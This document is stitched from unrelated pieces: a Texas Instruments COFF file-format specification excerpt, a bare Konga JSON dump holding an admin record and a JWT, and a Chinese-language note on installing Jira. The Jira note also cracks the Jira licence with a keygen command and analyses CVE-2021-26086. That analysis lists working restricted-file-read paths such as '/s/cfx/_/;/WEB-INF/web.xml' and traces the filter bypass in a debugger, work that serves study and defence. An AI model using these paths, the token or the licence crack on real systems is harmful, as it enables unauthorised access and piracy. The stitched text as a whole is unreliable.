generates relocation entries. The link step reads the relocation entries as it reads each input section and
performs relocation. The relocation entries determine how references within each input section are
treated.
For C2800, C6000, MSP430, and TMS470, COFF file relocation information entries use the 10-byte
format shown in Table 8.
Table 8. Relocation Entry Contents, 10-Byte Format
Byte
Number
Type
Description
0-3
Long
Virtual address of the reference
4-5
Short
Symbol table index (0-65 535)
6-7
Unsigned short
Reserved
8-9
Unsigned short
Relocation type (see Table 11)
SPRAAO8–April 2009
Common Object File Format
7
Submit Documentation Feedback
Structuring Relocation Information
www.ti.com
For C5400 and C5500, COFF file relocation information entries use the 12-byte format shown in Table 8.
Table 9. Relocation Entry Contents, 12-Byte Format
Byte
Number
Type
Description
0-3
Long
Virtual address of the reference
4-7
Unsigned long
Symbol table index (0-65 535)
8-9
Unsigned short
For COFF1 files for C5400 only: Reserved
For COFF2 files: Additional byte used for extended address
calculations
10-11
Unsigned short
Relocation type (see Table 11)
The virtual address is the symbol's address in the current section before relocation; it specifies where a
relocation must occur. (This is the address of the field in the object code that must be patched.)
Following is an example of C6000 code that generates a relocation entry:
2
.global X
3 00000000 !00000012
b
X
In this example, the virtual address of the relocatable field is 0001.
The symbol table index is the index of the referenced symbol. In the preceding example, this field
contains the index of X in the symbol table. The amount of the relocation is the difference between the
symbol's current address in the section and its assembly-time address. The relocatable field must be
relocated by the same amount as the referenced symbol. In the example, X has a value of 0 before
relocation. Suppose X is relocated to address 2000h. This is the relocation amount (2000h - 0 = 2000h),
so the relocation field at address 1 is patched by adding 2000h to it.
You can determine a symbol's relocated address if you know which section it is defined in. For example, if
X is defined in .data and .data is relocated by 2000h, X is relocated by 2000h.
If the symbol table index in a relocation entry is -1 (0FFFFh), this is called an internal relocation. In this
case, the relocation amount is simply the amount by which the current section is being relocated.
The relocation type specifies the size of the field to be patched and describes how the patched value is
calculated. The type field depends on the addressing mode that was used to generate the relocatable
reference. In the preceding example for C6000, the actual address of the referenced symbol X is placed in
an 8-bit field in the object code. This is an 8-bit address, so the relocation type is R_RELBYTE. The
following tables list the relocation types by device family.
Table 10. Generic Relocation Types (Bytes 8 and 9)
Mnemonic
Flag
Relocation Type
RE_ADD
4000h
Addition (+)
RE_SUB
4001h
Subtraction (-)
RE_NEG
4002h
Negate (-)
RE_MPY
4003h
Multiplication (*)
RE_DIV
4004h
Division (/)
RE_MOD
4005h
Modulus (%)
RE_SR
4006h
Logical shift right (unsigned >>)
RE_ASR
4007h
Arithmetic shift right (signed >>)
RE_SL
4008h
Shift left (<<)
RE_AND
4009h
And (&)
RE_OR
400Ah
Or (|)
RE_XOR
400Bh
Exclusive Or (^)
RE_NOTB
400Ch
Not (~)
RE_ULDFLD
400Dh
Unsigned relocation field load
RE_SLDFLD
400Eh
Signed relocation field load
8
Common Object File Format
SPRAAO8–April 2009
Submit Documentation Feedback
www.ti.com
Structuring Relocation Information
Table 10. Generic Relocation Types (Bytes 8 and 9) (continued)
Mnemonic
Flag
Relocation Type
RE_USTFLD
400Fh
Unsigned relocation field store
RE_SSTFLD
4010h
Signed relocation field store
RE_PUSH
4011h
Push symbol on the stack
RE_PUSHSK
4012h
Push signed constant on the stack
RE_PUSHUK
4013h
Push unsigned constant on the stack
RE_PUSHPC
4014h
Push current section PC on the stack
RE_DUP
4015h
Duplicate top-of-stack and push a copy
RE_XSTFLD
4016h
Relocation field store, signedness is irrelevant
RE_PUSHSV
C011h
Push symbol: SEGVALUE flag is set
Table 11. C6000 Relocation Types (Bytes 8 and 9)
Mnemonic
Flag
Relocation Type
R_ABS
0000h
No relocation
R_RELBYTE
000Fh
8-bit direct reference to symbol's address
R_RELWORD
0010h
16-bit direct reference to symbol's address
R_RELLONG
0011h
32-bit direct reference to symbol's address
R_C60BASE
0050h
Data page pointer-based offset
R_C60DIR15
0051h
Load or store long displacement
R_C60PCR21
0052h
21-bit packet, PC relative
R_C60PCR10
0053h
10-bit Packet PC Relative (BDEC, BPOS)
R_C60LO16
0054h
MVK instruction low half register
R_C60HI16
0055h
MVKH or MVKLH high half register
R_C60SECT
0056h
Section-based offset
R_C60S16
0057h
Signed 16-bit offset for MVK
R_C60PCR7
0070h
7-bit Packet PC Relative (ADDKPC)
R_C60PCR12
0071h
12-bit Packet PC Relative (BNOP)
Table 12. C2800 Relocation Types (Bytes 8 and 9)
Mnemonic
Flag
Relocation Type
R_ABS
0000h
No relocation
R_RELBYTE
000Fh
8-bit direct reference to symbol's address
R_RELWORD
0010h
16-bit direct reference to symbol's address
R_RELLONG
0011h
32-bit direct reference to symbol's address
R_PARTLS7
0028h
7-bit offset of a 22-bit address
R_PARTLS6
005Dh
6-bit offset of a 22-bit address
R_PARTMID10
005Eh
Middle 10 bits of a 22-bit address
R_REL22
005Fh
22-bit direct reference to a symbol's address
R_PARTMS6
0060h
Upper 6 bits of an 22-bit address
R_PARTS16
0061h
Upper 16 bits of an 22-bit address
R_C28PCR16
0062h
PC relative 16-bit address
R_C28PCR8
0063h
PC relative 8-bit address
R_C28PTR
0064h
22-bit pointer
R_C28HI16
0065h
High 16 bits of address data
R_C28LOPTR
0066h
Pointer to low 64K
R_C28NWORD
0067h
16-bit negated relocation
R_C28NBYTE
0068h
8-bit negated relocation
SPRAAO8–April 2009
Common Object File Format
9
Submit Documentation Feedback
Structuring Relocation Information
www.ti.com
Table 12. C2800 Relocation Types (Bytes 8 and 9) (continued)
Mnemonic
Flag
Relocation Type
R_C28HIBYTE
0069h
High 8 bits of a 16-bit data
R_C28RELS13
006Ah
Signed 13-bit value relocated as a 16-bit value
Table 13. C5400 Relocation Types (Bytes 10 and 11)
Mnemonic
Flag
Relocation Type
R_ABS
0000h
No relocation
R_REL24
0005h
24-bit reference to symbol's address
R_RELBYTE
0017h
8-bit direct reference to symbol's address
R_RELWORD
0020h
16-bit direct reference to symbol's address
R_RELLONG
0021h
32-bit direct reference to symbol's address
R_PARTLS7
0028h
7 LSBs of an address
R_PARTMS9
0029h
9 MSBs of an address
R_REL13
002Ah
13-bit direct reference to symbol's address
Table 14. C5500 Relocation Types (Bytes 10 and 11)
Mnemonic
Flag
Relocation Type
R_ABS
0000h
No relocation
R_REL24
0005h
24-bit direct reference to symbol's address
R_RELBYTE
0017h
8-bit direct reference to symbol's address
R_RELWORD
0020h
16-bit direct reference to symbol's address
R_RELLONG
0021h
32-bit direct reference to symbol's address
R_LD3_DMA
0170h
7 MSBs of a byte, unsigned; used in DMA address
R_LD3_MDP
0172h
7 bits spanning 2 bytes, unsigned; used as MDP register value
R_LD3_PDP
0173h
9 bits spanning 2 bytes, unsigned; used as PDP register value
R_LD3_REL23
0174h
23-bit unsigned value in 24-bit field
R_LD3_k8
0210h
8-bit unsigned direct reference
R_LD3_k16
0211h
16-bit unsigned direct reference
R_LD3_K8
0212h
8-bit signed direct reference
R_LD3_K16
0213h
16-bit signed direct reference
R_LD3_I8
0214h
8-bit unsigned PC-relative reference
R_LD3_I16
0215h
16-bit unsigned PC-relative reference
R_LD3_L8
0216h
8-bit signed PC-relative reference
R_LD3_L16
0217h
16-bit signed PC-relative reference
R_LD3_k4
0220h
Unsigned 4-bit shift immediate
R_LD3_k5
0221h
Unsigned 5-bit shift immediate
R_LD3_K5
0222h
Signed 5-bit shift immediate
R_LD3_k6
0223h
Unsigned 6-bit shift immediate
R_LD3_k12
0224h
Unigned 12-bit shift immediate
Table 15. MSP430 and TMS470 Relocation Types (Bytes 8 and 9)
Mnemonic
Flag
Relocation Type
R_RELLONG
0011h
32-bit direct reference to symbol's address
R_PCR23H
0016h
23-bit PC-relative reference to a symbol's address, in halfwords
(divided by 2)
R_PCR24W
0017h
24-bit PC-relative reference to a symbol's address, in words
(divided by 4)
Common Object File Format
10
SPRAAO8–April 2009
Submit Documentation Feedback
6
Symbol Table Structure and Content
Definedglobalsymbols
Undefinedglobalsymbols
Staticvariables
...
www.ti.com
Symbol Table Structure and Content
The order of symbols in the symbol table is very important; they appear in the sequence shown in
Figure 4.
Figure 4. Symbol Table Contents
Static variables refer to symbols defined in C/C++ that have storage class static outside any function. If
you have several modules that use symbols with the same name, making them static confines the scope
of each symbol to the module that defines it (this eliminates multiple-definition conflicts).
The entry for each symbol in the symbol table contains the symbol's:
•
Name (or an offset into the string table)
•
Type
•
Value
•
Section it was defined in
•
Storage class
For MSP430 and TMS470, the entry for each symbol in the symbol table also contains the symbol's:
•
Basic type (integer, character, etc.)
•
Derived type (array, structure, etc.)
•
Dimensions
•
Line number of the source code that defined the symbol
Section names are also defined in the symbol table.
All symbol entries, regardless of class and type, have the same format in the symbol table. Each symbol
table entry contains the 18 bytes of information listed in Table 16. Each symbol may also have an 18-byte
auxiliary entry; the special symbols listed in Table 17 always have an auxiliary entry. Some symbols may
not have all the characteristics listed above; if a particular field is not set, it is set to null.
Table 16. Symbol Table Entry Contents
Byte Number
Type
Description
0-7
Char
This field contains one of the following: 1) An 8-character symbol name, padded
with nulls. 2) A pointer into the string table if the symbol name is longer than eight
characters.
8-11
Long(1)
Symbol value; storage class dependent
12-13
Short
Section number of the symbol
14-15
Unsigned short
Reserved
16
Char
Storage class of the symbol
17
Char
Number of auxiliary entries (always 0 or 1)
(1)
For C6000 the type is integer.
SPRAAO8–April 2009
Common Object File Format
11
Submit Documentation Feedback
6.1
Special Symbols
6.2
Symbol Name Format
6.3
String Table Structure
’A’
’d’
’a’
’p’
’t’
’i’
’e’
’v’
’t’
’e’
’−’
’F’
’\0’
’r’
’l’
’i’
’f’
’s’
’T’
’i’
’r’
’e’
’F’
’o’
’o’
’r’
’n’
’−’
’a’
’r’
’r’
’u’
’m’
’\0’
38bytes
4bytes
Symbol Table Structure and Content
www.ti.com
The symbol table contains some special symbols that are generated by the compiler, assembler, and link
step. Each special symbol contains ordinary symbol table information as well as an auxiliary entry.
Table 17 lists these symbols.
Table 17. Special Symbols in the Symbol Table
Symbol
Description
.text
Address of the .text section
.data
Address of the .data section
.bss
Address of the .bss section
etext
Next available address after the end of the .text output section
edata
Next available address after the end of the .data output section
end
Next available address after the end of the .bss output section
The first eight bytes of a symbol table entry (bytes 0-7) indicate a symbol's name:
•
If the symbol name is eight characters or less, this field has type character. The name is padded with
nulls (if necessary) and stored in bytes 0-7.
•
If the symbol name is greater than eight characters, this field is treated as two integers. The entire
symbol name is stored in the string table. Bytes 0-3 contain 0, and bytes 4-7 are an offset into the
string table.
The string table stores symbols with names longer than eight characters. The field in the symbol table
entry that would normally contain the symbol's name actually points to the symbol's name in the string
table. The string table contiguously stores names, delimited by a null byte. The first four bytes of the table
contain the table size in bytes; thus, offsets into the string table are greater than or equal to 4.
Figure 5 is a string table that contains two symbol names, Adaptive-Filter and Fourier-Transform. The
index in the string table is 4 for Adaptive-Filter and 20 for Fourier-Transform.
Figure 5. String Table Entries for Sample Symbol Names
Common Object File Format
12
SPRAAO8–April 2009
Submit Documentation Feedback
6.4
Storage Classes
6.5
Symbol Values
6.6
Section Number
www.ti.com
Symbol Table Structure and Content
Byte 16 of the symbol table entry indicates the storage class of the symbol. Storage classes refer to the
method in which the C/C++ compiler accesses a symbol. Table 18 lists valid storage classes.
Table 18. Symbol Storage Classes
Mnemonic
Value
Storage Class
Mnemonic
Value
Storage Class
C_NULL
0
No storage class
C_USTATIC
14
Undefined static
C_AUTO
1
Reserved
C_ENTAG
15
Reserved
C_EXT
2
External definition
C_MOE
16
Reserved
C_STAT
3
Static
C_REGPARM
17
Reserved
C_REG
4
Reserved
C_FIELD
18
Reserved
C_EXTREF
5
External reference
C_UEXT(1)
19
Tentative external definition
C_LABEL
6
Label
C_STATLAB(1)
20
Static load time label
C_ULABEL
7
Undefined label
C_EXTLAB(1)
21
External load time label
C_MOS
8
Reserved
C_VARARG(1)(2)
27
Last declared parameter of a function with a
variable number of arguments
C_ARG
9
Reserved
C_BLOCK
100
Reserved
C_STRTAG
10
Reserved
C_FCN
101
Reserved
C_MOU
11
Reserved
C_EOS
102
Reserved
C_UNTAG
12
Reserved
C_FILE
103
Reserved
C_TPDEF
13
Reserved
C_LINE
104
Used only by utility programs
(1)
Not applicable to C5400 or C5500
(2)
Not applicable to C2800
The .text, .data, and .bss symbols are restricted to the C_STAT storage class.
Bytes 8-11 of a symbol table entry indicate a symbol's value. The C_EXT, C_STAT, and C_LABEL
storage classes hold relocatable addresses.
The value of a relocatable symbol is its virtual address. When the link step relocates a section, the value
of a relocatable symbol changes accordingly.
Bytes 12-13 of a symbol table entry contain a number that indicates in which section the symbol was
defined. Table 19 lists these numbers and the indicated sections.
Table 19. Section Numbers
Mnemonic
Section Number
Description
None
-2
Reserved
N_ABS
-1
Absolute symbol
N_UNDEF
0
Undefined external symbol
None(1)
1
.text section (typical)
None(1)
2
.data section (typical)
None(1)
3
.bss section (typical)
None(1)
4-32 767
Section number of a named section, in the order in which the named
sections are encountered
(1)
For C5500 and C2800, the mnemonic is N_SCNUM
SPRAAO8–April 2009
Common Object File Format
13
Submit Documentation Feedback
6.7
Auxiliary Entries
Symbol Table Structure and Content
www.ti.com
If there were no .text, .data, or .bss sections, the numbering of named sections would begin with 1.
If a symbol has a section number of 0, -1, or -2, it is not defined in a section. A section number of -1
indicates that the symbol has a value but is not relocatable. A section number of 0 indicates a relocatable
external symbol that is not defined in the current file.
Each symbol table entry can have one or noauxiliary entry. An auxiliary symbol table entry contains the
same number of bytes as a symbol table entry (18). Table 20 illustrates the format of auxiliary table
entries.
Table 20. Section Format for Auxiliary Table Entries
Byte Number
Type
Description
0-3
Long(1)
Section length
4-5
Unsigned short
Number of relocation entries
6-7
Unsigned short
Number of line number entries
8-17
Not used (zero filled)
(1)
For C6000 the type is integer.
Common Object File Format
14
SPRAAO8–April 2009
Submit Documentation Feedback
IMPORTANT NOTICE
Texas Instruments Incorporated and its subsidiaries (TI) reserve the right to make corrections, modifications, enhancements, improvements,
and other changes to its products and services at any time and to discontinue any product or service without notice. Customers should
obtain the latest relevant information before placing orders and should verify that such information is current and complete. All products are
sold subject to TI’s terms and conditions of sale supplied at the time of order acknowledgment.
TI warrants performance of its hardware products to the specifications applicable at the time of sale in accordance with TI’s standard
warranty. Testing and other quality control techniques are used to the extent TI deems necessary to support this warranty. Except where
mandated by government requirements, testing of all parameters of each product is not necessarily performed.
TI assumes no liability for applications assistance or customer product design. Customers are responsible for their products and
applications using TI components. To minimize the risks associated with customer products and applications, customers should provide
adequate design and operating safeguards.
TI does not warrant or represent that any license, either express or implied, is granted under any TI patent right, copyright, mask work right,
or other TI intellectual property right relating to any combination, machine, or process in which TI products or services are used. Information
published by TI regarding third-party products or services does not constitute a license from TI to use such products or services or a
warranty or endorsement thereof. Use of such information may require a license from a third party under the patents or other intellectual
property of the third party, or a license from TI under the patents or other intellectual property of TI.
Reproduction of TI information in TI data books or data sheets is permissible only if reproduction is without alteration and is accompanied
by all associated warranties, conditions, limitations, and notices. Reproduction of this information with alteration is an unfair and deceptive
business practice. TI is not responsible or liable for such altered documentation. Information of third parties may be subject to additional
restrictions.
Resale of TI products or services with statements different from or beyond the parameters stated by TI for that product or service voids all
express and any implied warranties for the associated TI product or service and is an unfair and deceptive business practice. TI is not
responsible or liable for any such statements.
TI products are not authorized for use in safety-critical applications (such as life support) where a failure of the TI product would reasonably
be expected to cause severe personal injury or death, unless officers of the parties have executed an agreement specifically governing
such use. Buyers represent that they have all necessary expertise in the safety and regulatory ramifications of their applications, and
acknowledge and agree that they are solely responsible for all legal, regulatory and safety-related requirements concerning their products
and any use of TI products in such safety-critical applications, notwithstanding any applications-related information or support that may be
provided by TI. Further, Buyers must fully indemnify TI and its representatives against any damages arising out of the use of TI products in
such safety-critical applications.
TI products are neither designed nor intended for use in military/aerospace applications or environments unless the TI products are
specifically designated by TI as military-grade or "enhanced plastic." Only products designated by TI as military-grade meet military
specifications. Buyers acknowledge and agree that any such use of TI products which TI has not designated as military-grade is solely at
the Buyer's risk, and that they are solely responsible for compliance with all legal and regulatory requirements in connection with such use.
TI products are neither designed nor intended for use in automotive applications or environments unless the specific TI products are
designated by TI as compliant with ISO/TS 16949 requirements. Buyers acknowledge and agree that, if they use any non-designated
products in automotive applications, TI will not be responsible for any failure to meet such requirements.
Following are URLs where you can obtain information on other Texas Instruments products and application solutions:
Products
Applications
Amplifiers
amplifier.ti.com
Audio
www.ti.com/audio
Data Converters
dataconverter.ti.com
Automotive
www.ti.com/automotive
DLP® Products
www.dlp.com
Broadband
www.ti.com/broadband
DSP
dsp.ti.com
Digital Control
www.ti.com/digitalcontrol
Clocks and Timers
www.ti.com/clocks
Medical
www.ti.com/medical
Interface
interface.ti.com
Military
www.ti.com/military
Logic
logic.ti.com
Optical Networking
www.ti.com/opticalnetwork
Power Mgmt
power.ti.com
Security
www.ti.com/security
Microcontrollers
microcontroller.ti.com
Telephony
www.ti.com/telephony
RFID
www.ti-rfid.com
Video & Imaging
www.ti.com/video
RF/IF and ZigBee® Solutions
www.ti.com/lprf
Wireless
www.ti.com/wireless
Mailing Address: Texas Instruments, Post Office Box 655303, Dallas, Texas 75265
Copyright © 2009, Texas Instruments Incorporated | pdf |
konga
{"user":{"createdUser":null,"updatedUser":1,"node":{"id":6,"name":"kong","type":"default","kong_admin_url":"http://172.30.0.3:800
1","netdata_url":null,"kong_api_key":"","jwt_algorithm":"HS256","jwt_key":null,"jwt_secret":null,"username":"","password":"","kon
g_version":"2.5.0","health_checks":false,"health_check_details":null,"active":false,"createdAt":"2021-07-16T03:26:11.000Z","updat
edAt":"2021-07-16T03:26:11.000Z","createdUser":1,"updatedUser":1},"id":1,"username":"admin","email":"[email protected]","firstN
ame":null,"lastName":null,"admin":true,"node_id":"","active":true,"activationToken":"7c15366f-2f45-4d2d-93ed-ad57b03e09ba","creat
edAt":"2021-07-16T03:21:14.000Z","updatedAt":"2021-07-16T03:26:11.000Z"},"token":"eyJhbGciOiJIUzI1NiJ9.MQ.Lu-KcR4aCeuT9hi1K474zV3
s4VaopLDCcf4nZvH6DQo"}
eyJhbGciOiJIUzI1NiJ9.MQ.Lu-KcR4aCeuT9hi1K474zV3s4VaopLDCcf4nZvH6DQo
{"user":{"createdUser":null,"updatedUser":1,"node":{"id":1,"name":"1","type":"default","kong_admin_url":"1","netdata_url":null,"k
ong_api_key":"","jwt_algorithm":"HS256","jwt_key":null,"jwt_secret":null,"username":"","password":"","kong_version":"2.5.0","heal
th_checks":false,"health_check_details":null,"active":false,"createdAt":"1","updatedAt":"1","createdUser":1,"updatedUser":1},"id"
:1,"username":"1","email":"[email protected]","firstName":null,"lastName":null,"admin":true,"node_id":"","active":true,"activationToken":
"1","createdAt":"1","updatedAt":"1"},"token":"eyJhbGciOiJIUzI1NiJ9.MQ.Lu-KcR4aCeuT9hi1K474zV3s4VaopLDCcf4nZvH6DQo"} | pdf |
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
1/18
jira环境搭建及受限⽂件读取原理和深思CVE-
2021-26086
⼀、踩坑
坑太多了 装了差不多七⼋个⼩时才装好 也是给⾃⼰找⼀些经验。不过不得不说在装软件的同时
也学到了⾮常多的东⻄，实战的项⽬感觉就是会有不⼀样的感觉。多动⼿总是会有好处的。
我先发⼏个步骤 然后罗列⼀下我猜到的⼀些坑的点，算是把这个环境给装好了。因为我是mac系
统，参照着⼀个步骤来的，但是中间夹在的另外的，因为不是通⽤的破解插件，怕踩坑了。
⼀、安装步骤
https://blog.csdn.net/pang787559613/article/details/101269073
https://www.jianshu.com/p/da0ddd124be8
前半部分基本按照第⼀个链接，后半部分按照第⼆个链接进⾏配置：
⼆、坑点
其实为了兼容后⾯的软件 mysql5.7的安装是⽐较好的，既可以兼容前⾯⽼版本的软件，后⾯的新
版也会兼容这个。感觉相当于java8⼀样地位的存在。在这⾥我选取的是5.7.31 并且不是⽤
homebrew安装的（感觉坑还挺多的）
⼀、mysql我在安装的过程中其实会遇到经典问题，就是第⼀次登录会拒绝登录，所以⼀般先安
全模式启动，然后修改密码并 flush privilege 就可以了。
⼆、mac上⾯mysql的安装默认不会⽣成 /etc/my.cnf 的配置⽂件，需要⾃⼰touch⼀个并⾃⼰写
⼀个默认的配置。 配置上⾯jira默认需要的字符集和ssl的问题。
因为emoji等表情符号的出现，更⼴泛的编码集需要拥抱时代的变化，所以我们尽可能的再去抛弃
utf8转向utf8mb4，就像jira那样(utf8mb4是utf8的超集，理论上由utf8升级到utf8mb4字符编码
没有任何兼容问题)
https://confluence.atlassian.com/adminjiraserver/connecting-jira-applications-to-m
这是字符集的解决办法 注意mysqld和client下⾯对应的配置别写反了。
[client]
#jira config
default-character-set = utf8mb4
default-character-set=utf8mb4
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
2/18
三、之前⼀直按照前⾯的步骤使⽤试⽤版的密钥，后来我去官⽹上⾯查看，使⽤密钥是不需要联
⽹的，所以不是⽹址被ban的问题（况且我还挂了全局代理）。之后我将问题翻译为英⽂，去jira
的社区看看：
#password = your_password
port = 3306
socket = /tmp/mysql.sock
# Here follows entries for some specific programs
# The MySQL server
[mysqld]
character-set-client-handshake = FALSE
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci
default-storage-engine=INNODB
character_set_server=utf8mb4
innodb_default_row_format=DYNAMIC
innodb_large_prefix=ON
innodb_file_format=Barracuda
innodb_log_file_size=2G
skip_ssl #这⾥是忽略ssl安全连接的问题
这是创建jira对应数据库时 添加所需要的数据集
CREATE DATABASE Jira CHARACTER SET utf8mb4 COLLATE utf8mb4_bin;
ALTER DATABASE Jira DEFAULT CHARACTER SET = utf8mb4 DEFAULT COLLATE = utf8mb4_bin
检查修改
mysql> SHOW VARIABLES WHERE Variable_name LIKE 'character\_set\_%' OR Variable_nam
修复&优化所有数据表
> mysqlcheck -u root -p --auto-repair --optimize --all-databases
mac上⾯mysql的重启命令
> sudo /usr/local/mysql/support-files/mysql.server restart
We're unable to confirm that Jira license
https://community.atlassian.com/t5/Jira-Software-questions/We-re-unable-to-confirm
https://community.atlassian.com/t5/Jira-Software-questions/why-I-have-got-unconfi
得到的答案就是 应该不太存在这种情况，建议看看⽇志
You can find these in $JIRAHOME/log/atlassian-jira.log
$JIRAINSTALL/logs/catalina.out file.
然后我就去翻看了这两个⽇志，发现没有激活相关的错误，但是我看到了其他的错误，我之前设置了mysql不需
<url>jdbc:mysql://address=(protocol=tcp)(host=localhost)(port=3306)/jira?useUnic
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
3/18
然后去找了⼀下插件的gitee，发现这个插件⾃带了kengen的功能，这个是插件⾥⾯的破解步
骤：
https://www.cnblogs.com/sanduzxcvbnm/p/13809276.html
我输⼊的：
综上，⼀些jira社区帮助我解决问题的url
Atlassian家族插件
java -jar atlassian-agent.jar -d -m [email protected] -n s3gundo -p jira -o http://
之后会得到
https://community.atlassian.com/t5/Jira-Software-questions/The-database-setup-is-
https://community.atlassian.com/t5/Jira-Software-questions/why-I-have-got-unconfi
https://community.atlassian.com/t5/Jira-Software-questions/We-re-unable-to-confirm
https://community.atlassian.com/t5/Jira-Software-questions/WARN-Establishing-SSL-
https://community.atlassian.com/t5/Confluence-questions/SSL-errors-with-confluenc
https://community.atlassian.com/t5/Jira-Software-questions/why-I-have-got-unconfi
https://community.atlassian.com/t5/Jira-Software-questions/We-re-unable-to-confirm
https://community.atlassian.com/t5/Jira-Software-questions/The-database-setup-is-
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
4/18
https://gitee.com/pengzhile/atlassian-agent
请⽀持正版
⼆、漏洞复现调试
这⾥的jira home是我们之前设置过了的，然后把web-inf下⾯的lib添加到库就可以了，我⼀般是
整个⽂件夹直接导⼊。
CVE-2021-26086 受限⽂件读取挖掘分析
参考⽂章： https://tttang.com/archive/1323/ 梅⼦酒师傅的 师傅的⽂章中可能有两处笔误。1、
是对url路径的解析2、jiraloginfilter的问题
https://xz.aliyun.com/t/10444
先放poc
set JAVA_OPTS=%JAVA_OPTS% -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=
CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=60222,suspend=n,serv
/s/cfx/_/;/WEB-INF/web.xml
/s/cfx/_/;/WEB-INF/decorators.xml
/s/cfx/_/;/WEB-INF/classes/seraph-config.xml
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
5/18
因为burp抓不到localhost和127.0.0.1的的包，我们得先抓⾃⼰本地ip的包，但是我们之前设置jira
的时候，ip是设置成localhost的，我们在burp上⾯的右上⻆把ip地址更改⼀下，然后host的值也
改⼀下。就可以读取到⽂件了。
这⾥的payload我放为 /s/s3gundo/_/;anythingulike/WEB-INF/web.xml ，具体的分析可以看下
⾯。
1、 filter的初始化
复习⼀下filter的初始化
/s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
/s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
/s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
/s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties
稍加改造/s/everything/_/;anythingulike/WEB-INF/web.xml
org.apache.catalina.Valve#invoke ->StandardWrapperValve.invoke
StandardWrapperValve ->> + ApplicationFilterFactory : 1、createFilterChain()创
ApplicationFilterFactory ->> ApplicationFilterFactory : 1.1、创建FilterChain并初
ApplicationFilterFactory -->> - StandardWrapperValve : 1.2、返回FilterChain对象
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
6/18
filterchain的初始化，跟进 ApplicationFilterFactory.createFilterChain ⽅法，可以看到从
wrapper中获取的http请求⽅法和路径，并将🐟filtermap中匹配得到的路径与请求⽅法，加⼊到
filterChain中
可以看到urlpattern是/*是肯定会被匹配上的。
org.apache.catalina.core.ApplicationFilterChain#doFilter 匹配得到这些filters
可以看到序号九，第⼗个filter就是后⾯的重点。
2、 Jira的正常访问/WEB-INF/受限
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
7/18
可以看到 org.apache.catalina.core.StandardContextValve#invoke ⽅法中，
在这⾥，应该是会将访问路径中的 ; 进⾏忽略处理，⽐如对于路
径 /s/s3gundo/_/;anythingulike/WEB-INF/web.xml 将会⾸先取 ; 前的 /s/s3gundo/_/ ，再
取 / 后的 /WEB-INF/web.xml ，最后将两者进⾏拼接得到: /s/s3gundo/_//WEB-INF/web.xml 。
因为这⾥传⼊的时候对url做了转发处理，所以将前⾯的 /s/s3gundo 给删去了，得
到 /;anythinulike/WEB-INF/web.xml ，后⾯会讲到。
返回的值是 //WEB-INF/web.xml
public static String normalize(String path, boolean replaceBackSlash) { //这⾥
if (path == null) {
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
8/18
return null;
} else {
String normalized = path;
if (replaceBackSlash && path.indexOf(92) >= 0) {
normalized = path.replace('\\', '/'); //存在反斜杠就替换为斜杠
}
if (!normalized.startsWith("/")) {
normalized = "/" + normalized;
}
boolean addedTrailingSlash = false;
if (normalized.endsWith("/.") || normalized.endsWith("/..")) {
normalized = normalized + "/";
addedTrailingSlash = true;
}
while(true) {
int index = normalized.indexOf("//");
if (index < 0) {
while(true) {
index = normalized.indexOf("/./");
if (index < 0) {
while(true) {
index = normalized.indexOf("/../");
if (index < 0) {
if (normalized.length() > 1 && addedTrailingS
normalized = normalized.substring(0, norm
}
return normalized;
}
if (index == 0) {
return null;
}
int index2 = normalized.lastIndexOf(47, index - 1
normalized = normalized.substring(0, index2) + no
}
}
normalized = normalized.substring(0, index) + normalized.
}
}
normalized = normalized.substring(0, index) + normalized.substrin
}
}
}
}
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
9/18
最后经过 normlize 的返回是 /WEB-INF/web.xml
3、 UrlRewriteFilter
这块主要分为两⼤部分，⼀是 org.tuckey.web.filters.urlrewrite.RuleChain#process ，⼆
是 org.tuckey.web.filters.urlrewrite.RuleChain#handleRewrite 。逐个攻破
先是 process ⽅法：
关键在 org.tuckey.web.filters.urlrewrite.ClassRule#matches(java.lang.String,
javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) ⽅法
中箭头所指向的反射⽅法，matchstr默认为matches，然后得到matchesMethod的⽅法为
public org.tuckey.web.filters.urlrewrite.extend.RewriteMatch
com.atlassian.jira.plugin.webresource.CachingResourceDownloadRewriteRule.matches(ja
vax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse) ，再将
所需的参数传⼊。
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
10/18
先来来看看匹配的模式
^/s/(.*)/_/((?i)(?!WEB-INF)(?!META-INF).*)
前⾯的 (?i) 表示是⼀种模式修饰符，i即匹配时不区分⼤⼩写。以前只⻅过放在最后⾯的。
后⾯的 (?!) 表示在那串字符串后⾯的不能是以 web-inf 和 meta-inf 结尾的。
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
11/18
⾄此，调⽤的堆栈是：
matches:53, CachingResourceDownloadRewriteRule (com.atlassian.jira.plugin.webreso
invoke:-1, GeneratedMethodAccessor308 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
matches:119, ClassRule (org.tuckey.web.filters.urlrewrite)
matches:101, ClassRule (org.tuckey.web.filters.urlrewrite)
doRuleProcessing:83, RuleChain (org.tuckey.web.filters.urlrewrite)
process:137, RuleChain (org.tuckey.web.filters.urlrewrite) //上班部分process的
